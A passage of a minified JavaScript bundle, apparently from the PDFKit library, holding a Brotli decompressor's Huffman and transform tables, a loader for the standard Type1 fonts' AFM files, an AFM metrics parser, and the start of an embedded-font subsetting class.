SHKKUUfy+276A7/feLOFxxUuHRNJI2Osenxyvf8DAGObT60pfTTlhEg9u/KKkhJqm5U1/+BEcSkpFDA5XeCqxwXmPac1jcuZ3JWQ+p0NdWzb/5v1ZvF8GtMTFFEdQjpLO0bwPb0BHNWnip3liDXI2fXf05jjvfJ0NpjLCUgfTh9CMFYVFKEd4Z/OG/2C+N435mnK+9t1gvCiVcaaH7rK4+PjCvpVNiz+t2QyqH1O8x3JKZVl6Q+Lp/XK8wMjVMslOq9FdSw5FtUs/CptXH9PW+wbWHgrV17R5jTVOtGtKFu3nb80T+E0tv9QkzW3J2dbaw/8ddAKZ0pxIaEqLjlPrji3VgJ3GvdFvlqD8075woxh4fVt0JZE0KVFsAvqhe0dqN9b35jtSpnYMXkU+vZq+IAHad3IHc2s/LYrnD1anfG46IFiMIr9oNbZDWvwthqYNqOigaKd/XlLU4XHfk/PXIjPsLy/9/kAtQ+/wKH+hI/IROWj5FPvTZAT9f7j4ZXQyG4M0TujMAFXYkKvEHv1xhySekgXGGqNxWeWKlf8dDAlLuB1cb/qOD+rk7cmwt+1yKpk9cudqBanTi6zTbXRtV8qylNtjyOVKy1HTz0GW9rjt6sSjAZcT5R+KdtyYb0zyqG9pSLuCw5WBwAn7fjBjKLLoxLXMI+52L9cLwIR2B6OllJZLHJ8vDxmWdtF+QJnmt1rsHPIWY20lftk8fYePkAIg6Hgn532QoIpegMxiWgAOfe5/U44APR8Ac0NeZrVh3gEhs12W+tVSiWiUQekf/YBECUy5fdYbA08dd7VzPAP9aiVcIB9k6tY7WdJ1wNV+bHeydNtmC6G5ICtFC1ZwmJU/j8hf0I8TRVKSiz5oYIa93EpUI78X8GYIAZabx47/n8LDAAJ0nNtP1rpROprqKMBRecShca6qXuTSI3jZBLOB3Vp381B5rCGhjSvh/NSVkYp2qIdP/Bg="
    }, function (t, e) {
        function n(t, e) {
            this.bits = t, this.value = e
        }

        function r(t, e) {
            for (var n = 1 << e - 1; t & n;) n >>= 1;
            return (t & n - 1) + n
        }

        function i(t, e, r, i, o) {
            do {
                i -= r, t[e + i] = new n(o.bits, o.value)
            } while (i > 0)
        }

        function o(t, e, n) {
            for (var r = 1 << e - n; e < a && !((r -= t[e]) <= 0);) ++e, r <<= 1;
            return e - n
        }

        e.HuffmanCode             = n;
        var a                     = 15;
        e.BrotliBuildHuffmanTable = function (t, e, s, u, c) {
            var l, f, h, p, d, g, v, y, m, b, w, x = e, S = new Int32Array(a + 1), k = new Int32Array(a + 1);
            for (w = new Int32Array(c), h = 0; h < c; h++) S[u[h]]++;
            for (k[1] = 0, f = 1; f < a; f++) k[f + 1] = k[f] + S[f];
            for (h = 0; h < c; h++) 0 !== u[h] && (w[k[u[h]]++] = h);
            if (y = s, m = 1 << y, b = m, 1 === k[a]) {
                for (p = 0; p < b; ++p) t[e + p] = new n(0, 65535 & w[0]);
                return b
            }
            for (p = 0, h = 0, f = 1, d = 2; f <= s; ++f, d <<= 1) for (; S[f] > 0; --S[f]) l = new n(255 & f, 65535 & w[h++]), i(t, e + p, d, m, l), p = r(p, f);
            for (v = b - 1, g = -1, f = s + 1, d = 2; f <= a; ++f, d <<= 1) for (; S[f] > 0; --S[f]) (p & v) !== g && (e += m, y = o(S, f, s), m = 1 << y, b += m, g = p & v, t[x + g] = new n(y + s & 255, e - x - g & 65535)), l = new n(f - s & 255, 65535 & w[h++]), i(t, e + (p >> s), d, m, l), p = r(p, f);
            return b
        }
    }, function (t, e) {
        e.lookup = new Uint8Array([0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 4, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 12, 16, 12, 12, 20, 12, 16, 24, 28, 12, 12, 32, 12, 36, 12, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 32, 32, 24, 40, 28, 12, 12, 48, 52, 52, 52, 48, 52, 52, 52, 48, 52, 52, 52, 52, 52, 48, 52, 52, 52, 52, 52, 48, 52, 52, 52, 52, 52, 24, 12, 28, 12, 12, 12, 56, 60, 60, 60, 56, 60, 60, 60, 56, 60, 60, 60, 60, 60, 56, 60, 60, 60, 60, 60, 56, 60, 60, 60, 60, 60, 24, 12, 28, 12, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 0, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 56, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 22, 22, 22, 22, 23, 23, 23, 23, 24, 24, 24, 24, 25, 25, 25, 25, 26, 26, 26, 26, 27, 27, 27, 27, 28, 28, 28, 28, 29, 29, 29, 29, 30, 30, 30, 30, 31, 31, 31, 31, 32, 32, 32, 32, 33, 33, 33, 33, 34, 34, 34, 34, 35, 35, 35, 35, 36, 36, 36, 36, 37, 37, 37, 37, 38, 38, 38, 38, 39, 39, 39, 39, 40, 40, 40, 40, 41, 41, 41, 41, 42, 42, 42, 42, 43, 43, 43, 43, 44, 44, 44, 44, 45, 45, 45, 45, 46, 46, 46, 46, 47, 47, 47, 47, 48, 48, 48, 48, 49, 49, 49, 49, 50, 50, 50, 50, 51, 51, 51, 51, 52, 52, 52, 52, 53, 53, 53, 53, 54, 54, 54, 54, 55, 55, 55, 55, 56, 56, 56, 56, 57, 57, 57, 57, 58, 58, 58, 58, 59, 59, 59, 59, 60, 60, 60, 60, 61, 61, 61, 61, 62, 62, 62, 62, 63, 63, 63, 63, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]), e.lookupOffsets = new Uint16Array([1024, 1536, 1280, 1536, 0, 256, 768, 512])
    }, function (t, e) {
        function n(t, e) {
            this.offset = t, this.nbits = e
        }

        e.kBlockLengthPrefixCode = [new n(1, 2), new n(5, 2), new n(9, 2), new n(13, 2), new n(17, 3), new n(25, 3), new n(33, 3), new n(41, 3), new n(49, 4), new n(65, 4), new n(81, 4), new n(97, 4), new n(113, 5), new n(145, 5), new n(177, 5), new n(209, 5), new n(241, 6), new n(305, 6), new n(369, 7), new n(497, 8), new n(753, 9), new n(1265, 10), new n(2289, 11), new n(4337, 12), new n(8433, 13), new n(16625, 24)], e.kInsertLengthPrefixCode = [new n(0, 0), new n(1, 0), new n(2, 0), new n(3, 0), new n(4, 0), new n(5, 0), new n(6, 1), new n(8, 1), new n(10, 2), new n(14, 2), new n(18, 3), new n(26, 3), new n(34, 4), new n(50, 4), new n(66, 5), new n(98, 5), new n(130, 6), new n(194, 7), new n(322, 8), new n(578, 9), new n(1090, 10), new n(2114, 12), new n(6210, 14), new n(22594, 24)], e.kCopyLengthPrefixCode = [new n(2, 0), new n(3, 0), new n(4, 0), new n(5, 0), new n(6, 0), new n(7, 0), new n(8, 0), new n(9, 0), new n(10, 1), new n(12, 1), new n(14, 2), new n(18, 2), new n(22, 3), new n(30, 3), new n(38, 4), new n(54, 4), new n(70, 5), new n(102, 5), new n(134, 6), new n(198, 7), new n(326, 8), new n(582, 9), new n(1094, 10), new n(2118, 24)], e.kInsertRangeLut = [0, 0, 8, 8, 0, 16, 8, 16, 16], e.kCopyRangeLut = [0, 8, 0, 8, 16, 0, 16, 8, 16]
    }, function (t, e, n) {
        function r(t, e, n) {
            this.prefix = new Uint8Array(t.length), this.transform = e, this.suffix = new Uint8Array(n.length);
            for (var r = 0; r < t.length; r++) this.prefix[r] = t.charCodeAt(r);
            for (var r = 0; r < n.length; r++) this.suffix[r] = n.charCodeAt(r)
        }

        function i(t, e) {
            return t[e] < 192 ? (t[e] >= 97 && t[e] <= 122 && (t[e] ^= 32), 1) : t[e] < 224 ? (t[e + 1] ^= 32, 2) : (t[e + 2] ^= 5, 3)
        }

        var o = n(271),
            a = [new r("", 0, ""), new r("", 0, " "), new r(" ", 0, " "), new r("", 12, ""), new r("", 10, " "), new r("", 0, " the "), new r(" ", 0, ""), new r("s ", 0, " "), new r("", 0, " of "), new r("", 10, ""), new r("", 0, " and "), new r("", 13, ""), new r("", 1, ""), new r(", ", 0, " "), new r("", 0, ", "), new r(" ", 10, " "), new r("", 0, " in "), new r("", 0, " to "), new r("e ", 0, " "), new r("", 0, '"'), new r("", 0, "."), new r("", 0, '">'), new r("", 0, "\n"), new r("", 3, ""), new r("", 0, "]"), new r("", 0, " for "), new r("", 14, ""), new r("", 2, ""), new r("", 0, " a "), new r("", 0, " that "), new r(" ", 10, ""), new r("", 0, ". "), new r(".", 0, ""), new r(" ", 0, ", "), new r("", 15, ""), new r("", 0, " with "), new r("", 0, "'"), new r("", 0, " from "), new r("", 0, " by "), new r("", 16, ""), new r("", 17, ""), new r(" the ", 0, ""), new r("", 4, ""), new r("", 0, ". The "), new r("", 11, ""), new r("", 0, " on "), new r("", 0, " as "), new r("", 0, " is "), new r("", 7, ""), new r("", 1, "ing "), new r("", 0, "\n\t"), new r("", 0, ":"), new r(" ", 0, ". "), new r("", 0, "ed "), new r("", 20, ""), new r("", 18, ""), new r("", 6, ""), new r("", 0, "("), new r("", 10, ", "), new r("", 8, ""), new r("", 0, " at "), new r("", 0, "ly "), new r(" the ", 0, " of "), new r("", 5, ""), new r("", 9, ""), new r(" ", 10, ", "), new r("", 10, '"'), new r(".", 0, "("), new r("", 11, " "), new r("", 10, '">'), new r("", 0, '="'), new r(" ", 0, "."), new r(".com/", 0, ""), new r(" the ", 0, " of the "), new r("", 10, "'"), new r("", 0, ". This "), new r("", 0, ","), new r(".", 0, " "), new r("", 10, "("), new r("", 10, "."), new r("", 0, " not "), new r(" ", 0, '="'), new r("", 0, "er "), new r(" ", 11, " "), new r("", 0, "al "), new r(" ", 11, ""), new r("", 0, "='"), new r("", 11, '"'), new r("", 10, ". "), new r(" ", 0, "("), new r("", 0, "ful "), new r(" ", 10, ". "), new r("", 0, "ive "), new r("", 0, "less "), new r("", 11, "'"), new r("", 0, "est "), new r(" ", 10, "."), new r("", 11, '">'), new r(" ", 0, "='"), new r("", 10, ","), new r("", 0, "ize "), new r("", 11, "."), new r("Â ", 0, ""), new r(" ", 0, ","), new r("", 10, '="'), new r("", 11, '="'), new r("", 0, "ous "), new r("", 11, ", "), new r("", 10, "='"), new r(" ", 10, ","), new r(" ", 11, '="'), new r(" ", 11, ", "), new r("", 11, ","), new r("", 11, "("), new r("", 11, ". "), new r(" ", 11, "."), new r("", 11, "='"), new r(" ", 11, ". "), new r(" ", 10, '="'), new r(" ", 11, "='"), new r(" ", 10, "='")];
        e.kTransforms = a, e.kNumTransforms = a.length, e.transformDictionaryWord = function (t, e, n, r, s) {
            var u, c = a[s].prefix, l = a[s].suffix, f = a[s].transform, h = f < 12 ? 0 : f - 11, p = 0, d = e;
            h > r && (h = r);
            for (var g = 0; g < c.length;) t[e++] = c[g++];
            for (n += h, r -= h, f <= 9 && (r -= f), p = 0; p < r; p++) t[e++] = o.dictionary[n + p];
            if (u = e - r, 10 === f) i(t, u); else if (11 === f) for (; r > 0;) {
                var v = i(t, u);
                u += v, r -= v
            }
            for (var y = 0; y < l.length;) t[e++] = l[y++];
            return e - d
        }
    }, function (t, e, n) {
        (function (e) {
            (function () {
                var r, i, o, a, s = function (t, e) {
                    function n() {
                        this.constructor = t
                    }

                    for (var r in e) u.call(e, r) && (t[r] = e[r]);
                    return n.prototype = e.prototype, t.prototype = new n, t.__super__ = e.prototype, t
                }, u              = {}.hasOwnProperty;
                r = n(280), i = n(79), a = n(53), o = function (t) {
                    function n(t, e, n) {
                        var o;
                        this.document = t, this.name = e, this.id = n, this.font = new r(i[this.name]()), o = this.font, this.ascender = o.ascender, this.descender = o.descender, this.bbox = o.bbox, this.lineGap = o.lineGap
                    }

                    var i;
                    return s(n, t), n.prototype.embed = function () {
                        return this.dictionary.data = {Type: "Font", BaseFont: this.name, Subtype: "Type1", Encoding: "WinAnsiEncoding"}, this.dictionary.end()
                    }, n.prototype.encode = function (t) {
                        var e, n, r, i, o, a, s, u;
                        for (n = this.font.encodeText(t), i = this.font.glyphsForString("" + t), e = this.font.advancesForGlyphs(i), u = [], o = a = 0, s = i.length; a < s; o = ++a) r = i[o], u.push({
                            xAdvance: e[o],
                            yAdvance: 0,
                            xOffset: 0,
                            yOffset: 0,
                            advanceWidth: this.font.widthOfGlyph(r)
                        });
                        return [n, u]
                    }, n.prototype.widthOfString = function (t, e) {
                        var n, r, i, o, a, s, u;
                        for (i = this.font.glyphsForString("" + t), r = this.font.advancesForGlyphs(i), u = 0, o = 0, a = r.length; o < a; o++) n = r[o], u += n;
                        return s = e / 1e3, u * s
                    }, n.isStandardFont = function (t) {
                        return t in i
                    }, i = {
                        Courier: function () {
                            return a.readFileSync(e + "/../font/data/Courier.afm", "utf8")
                        }, "Courier-Bold": function () {
                            return a.readFileSync(e + "/../font/data/Courier-Bold.afm", "utf8")
                        }, "Courier-Oblique": function () {
                            return a.readFileSync(e + "/../font/data/Courier-Oblique.afm", "utf8")
                        }, "Courier-BoldOblique": function () {
                            return a.readFileSync(e + "/../font/data/Courier-BoldOblique.afm", "utf8")
                        }, Helvetica: function () {
                            return a.readFileSync(e + "/../font/data/Helvetica.afm", "utf8")
                        }, "Helvetica-Bold": function () {
                            return a.readFileSync(e + "/../font/data/Helvetica-Bold.afm", "utf8")
                        }, "Helvetica-Oblique": function () {
                            return a.readFileSync(e + "/../font/data/Helvetica-Oblique.afm", "utf8")
                        }, "Helvetica-BoldOblique": function () {
                            return a.readFileSync(e + "/../font/data/Helvetica-BoldOblique.afm", "utf8")
                        }, "Times-Roman": function () {
                            return a.readFileSync(e + "/../font/data/Times-Roman.afm", "utf8")
                        }, "Times-Bold": function () {
                            return a.readFileSync(e + "/../font/data/Times-Bold.afm", "utf8")
                        }, "Times-Italic": function () {
                            return a.readFileSync(e + "/../font/data/Times-Italic.afm", "utf8")
                        }, "Times-BoldItalic": function () {
                            return a.readFileSync(e + "/../font/data/Times-BoldItalic.afm", "utf8")
                        }, Symbol: function () {
                            return a.readFileSync(e + "/../font/data/Symbol.afm", "utf8")
                        }, ZapfDingbats: function () {
                            return a.readFileSync(e + "/../font/data/ZapfDingbats.afm", "utf8")
                        }
                    }, n
                }(i), t.exports = o
            }).call(this)
        }).call(e, "/")
    }, function (t, e, n) {
        (function () {
            var e, r;
            r = n(53), e = function () {
                function t(t) {
                    var e, r;
                    this.contents = t, this.attributes = {}, this.glyphWidths = {}, this.boundingBoxes = {}, this.kernPairs = {}, this.parse(), this.charWidths = function () {
                        var t, e;
                        for (e = [], r = t = 0; t <= 255; r = ++t) e.push(this.glyphWidths[n[r]]);
                        return e
                    }.call(this), this.bbox = function () {
                        var t, n, r, i;
                        for (r = this.attributes.FontBBox.split(/\s+/), i = [], t = 0, n = r.length; t < n; t++) e = r[t], i.push(+e);
                        return i
                    }.call(this), this.ascender = +(this.attributes.Ascender || 0), this.descender = +(this.attributes.Descender || 0), this.lineGap = this.bbox[3] - this.bbox[1] - (this.ascender - this.descender)
                }

                var e, n;
                return t.open = function (e) {
                    return new t(r.readFileSync(e, "utf8"))
                }, t.prototype.parse = function () {
                    var t, e, n, r, i, o, a, s, u, c;
                    for (u = "", s = this.contents.split("\n"), e = 0, r = s.length; e < r; e++) if (i = s[e], o = i.match(/^Start(\w+)/)) u = o[1]; else if (o = i.match(/^End(\w+)/)) u = ""; else switch (u) {
                        case"FontMetrics":
                            o = i.match(/(^\w+)\s+(.*)/), n = o[1], c = o[2], (t = this.attributes[n]) ? (Array.isArray(t) || (t = this.attributes[n] = [t]), t.push(c)) : this.attributes[n] = c;
                            break;
                        case"CharMetrics":
                            if (!/^CH?\s/.test(i)) continue;
                            a = i.match(/\bN\s+(\.?\w+)\s*;/)[1], this.glyphWidths[a] = +i.match(/\bWX\s+(\d+)\s*;/)[1];
                            break;
                        case"KernPairs":
                            o = i.match(/^KPX\s+(\.?\w+)\s+(\.?\w+)\s+(-?\d+)/), o && (this.kernPairs[o[1] + "\0" + o[2]] = parseInt(o[3]))
                    }
                }, e = {
                    402: 131,
                    8211: 150,
                    8212: 151,
                    8216: 145,
                    8217: 146,
                    8218: 130,
                    8220: 147,
                    8221: 148,
                    8222: 132,
                    8224: 134,
                    8225: 135,
                    8226: 149,
                    8230: 133,
                    8364: 128,
                    8240: 137,
                    8249: 139,
                    8250: 155,
                    710: 136,
                    8482: 153,
                    338: 140,
                    339: 156,
                    732: 152,
                    352: 138,
                    353: 154,
                    376: 159,
                    381: 142,
                    382: 158
                }, t.prototype.encodeText = function (t) {
                    var n, r, i, o, a;
                    for (a = [], r = i = 0, o = t.length; 0 <= o ? i < o : i > o; r = 0 <= o ? ++i : --i) n = t.charCodeAt(r), n = e[n] || n, a.push(n.toString(16));
                    return a
                }, t.prototype.glyphsForString = function (t) {
                    var e, n, r, i, o;
                    for (n = [], r = i = 0, o = t.length; 0 <= o ? i < o : i > o; r = 0 <= o ? ++i : --i) e = t.charCodeAt(r), n.push(this.characterToGlyph(e));
                    return n
                }, t.prototype.characterToGlyph = function (t) {
                    return n[e[t] || t] || ".notdef"
                }, t.prototype.widthOfGlyph = function (t) {
                    return this.glyphWidths[t] || 0
                }, t.prototype.getKernPair = function (t, e) {
                    return this.kernPairs[t + "\0" + e] || 0
                }, t.prototype.advancesForGlyphs = function (t) {
                    var e, n, r, i, o, a;
                    for (e = [], n = r = 0, o = t.length; r < o; n = ++r) i = t[n], a = t[n + 1], e.push(this.widthOfGlyph(i) + this.getKernPair(i, a));
                    return e
                }, n = ".notdef       .notdef        .notdef        .notdef\n.notdef       .notdef        .notdef        .notdef\n.notdef       .notdef        .notdef        .notdef\n.notdef       .notdef        .notdef        .notdef\n.notdef       .notdef        .notdef        .notdef\n.notdef       .notdef        .notdef        .notdef\n.notdef       .notdef        .notdef        .notdef\n.notdef       .notdef        .notdef        .notdef\n\nspace         exclam         quotedbl       numbersign\ndollar        percent        ampersand      quotesingle\nparenleft     parenright     asterisk       plus\ncomma         hyphen         period         slash\nzero          one            two            three\nfour          five           six            seven\neight         nine           colon          semicolon\nless          equal          greater        question\n\nat            A              B              C\nD             E              F              G\nH             I              J              K\nL             M              N              O\nP             Q              R              S\nT             U              V              W\nX             Y              Z              bracketleft\nbackslash     bracketright   asciicircum    underscore\n\ngrave         a              b              c\nd             e              f              g\nh             i              j              k\nl             m              n              o\np             q              r              s\nt             u              v              w\nx             y              z              braceleft\nbar           braceright     asciitilde     .notdef\n\nEuro          .notdef        quotesinglbase florin\nquotedblbase  ellipsis       dagger         daggerdbl\ncircumflex    perthousand    Scaron         guilsinglleft\nOE            .notdef        Zcaron         .notdef\n.notdef       quoteleft      quoteright     quotedblleft\nquotedblright bullet         endash         emdash\ntilde         trademark      scaron         guilsinglright\noe            .notdef        zcaron         ydieresis\n\nspace         exclamdown     cent           sterling\ncurrency      yen            brokenbar      section\ndieresis      copyright      ordfeminine    guillemotleft\nlogicalnot    hyphen         registered     macron\ndegree        plusminus      twosuperior    threesuperior\nacute         mu             paragraph      periodcentered\ncedilla       onesuperior    ordmasculine   guillemotright\nonequarter    onehalf        threequarters  questiondown\n\nAgrave        Aacute         Acircumflex    Atilde\nAdieresis     Aring          AE             Ccedilla\nEgrave        Eacute         Ecircumflex    Edieresis\nIgrave        Iacute         Icircumflex    Idieresis\nEth           Ntilde         Ograve         Oacute\nOcircumflex   Otilde         Odieresis      multiply\nOslash        Ugrave         Uacute         Ucircumflex\nUdieresis     Yacute         Thorn          germandbls\n\nagrave        aacute         acircumflex    atilde\nadieresis     aring          ae             ccedilla\negrave        eacute         ecircumflex    edieresis\nigrave        iacute         icircumflex    idieresis\neth           ntilde         ograve         oacute\nocircumflex   otilde         odieresis      divide\noslash        ugrave         uacute         ucircumflex\nudieresis     yacute         thorn          ydieresis".split(/\s+/), t
            }(), t.exports = e
        }).call(this)
    }, function (t, e, n) {
        (function () {
            var e, r, i = function (t, e) {
                function n() {
                    this.constructor = t
                }

                for (var r in e) o.call(e, r) && (t[r] = e[r]);
                return n.prototype = e.prototype, t.prototype = new n, t.__super__ = e.prototype, t
            }, o        = {}.hasOwnProperty, a = [].slice;
            r = n(79), n(54), e = function (t) {
                function e(t, e, n) {
                    this.document = t, this.font = e, this.id = n, this.subset = this.font.createSubset(), this.unicode = [[0]], this.widths = [this.font.getGlyph(0).advanceWidth], this.name = this.font.postscriptName, this.scale = 1e3 / this.font.unitsPerEm, this.ascender = this.font.ascent * this.scale, this.descender = this.font.descent * this.scale, this.lineGap = this.font.lineGap * this.scale, this.bbox = this.font.bbox
                }

                var n;
                return i(e, t), e.prototype.encode = function (t, e) {
                    var n, r, i, o, a, s, u, c, l, f, h, p;
                    for (h = this.font.layout(t, e), a = h.glyphs, f = h.positions, p = [], s = u = 0, l = a.length; u < l; s = ++u) {
                        o = a[s], i = this.subset.includeGlyph(o.id), p.push(("0000" + i.toString(16)).slice(-4)), null == (n = this.widths)[i] && (n[i] = o.advanceWidth * this.scale), null == (r = this.unicode)[i] && (r[i] = o.codePoints);
                        for (c in f[s]) f[s][c] *= this.scale;
                        f[s].advanceWidth = o.advanceWidth * this.scale
                    }
                    return [p, f]
                }, e.prototype.widthOfString = function (t, e, n) {
                    var r, i;
